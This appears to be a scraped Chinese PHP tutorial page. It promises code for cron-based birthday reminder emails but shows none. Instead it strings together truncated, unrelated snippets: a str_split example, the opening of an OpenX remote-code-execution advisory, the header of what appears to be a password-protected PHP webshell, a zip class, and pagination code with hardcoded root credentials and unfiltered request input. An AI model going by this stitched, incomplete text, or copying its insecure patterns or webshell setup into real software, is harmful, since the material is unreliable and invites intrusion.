PHP生日计算
腾讯的QQ空间根据会员资料计算生日并提醒好友发送生日祝福,一些网站也有类似的功能,比如提前几天向会员发送祝福邮件。
大致过程如下:设置一个自动执行程序,比如Linux下可以用CronTab 实现。此程序每天执行一次读取会员资料中的birth_day,
判断是否符合设置的发送要求。假如设置提前三天发送邮件,则判断会员生日(月日)是否等于当前月日+3。 基本代码如下,
原文地址 http://www.phpwell.com/?p=89
说明:此计算过程假定会员资料中的生日是公历纪年。
相关文档:
解决的办法有好几个:
第一个是:str_split(),这个方法是PHP5加入的。
<?php
$str = "Hello Friend";
$arr1 = str_split($str);
$arr2 = str_split($str, 3);
print_r($arr1);
print_r($arr2);
?>
输出就是:
Array
(
[0] => H
[1] => e
[2] => l
[3] => l
......
OpenX adserver version 2.8.1 and lower is vulnerable to remote code
execution. To be exploited, this vulnerability requires banner / file
upload permissions, such as granted to the 'advertiser' and
'administrator' roles.
This vulnerability is caused by the (insecure) file upload mechanism of
af ......
<?php
#--Config--#
$login_password= '123456'; //这是密码
#----------#
error_reporting(E_ALL);
set_time_limit(0);
ini_set("max_execution_time","0");
ini_set("memory_limit","9999M");
set_magic_quotes_runtime(0);
if(!isset($_SERVER))$_SERVER = &$HTTP_SERVER_VARS;
if(!isset($_POST))$_PO ......
<?php
/**
* @author wyt
*
*/
class zip {
private $_zipObj=null;
private $_zipfcArr=array();
private $_basePath=null;
private $_zipName;
/**
* init
* @param zip文件名称 $zipName
*/
function __construct($zipName){
$this->_zipName=$zipName;
$this->_zipObj= ......
<?php
//分页
$link=mysql_connect("localhost","root","root");
$db=mysql_select_db("bustest",$link);
$res=mysql_query("select * from info");
//一共多少条
$count=mysql_num_rows($res);
//每页5条信息
$perpage=5;
//一共多少页
$pagecount=ceil($count/$perpage);
//传过来的页数
$pagenum=$_REQUE ......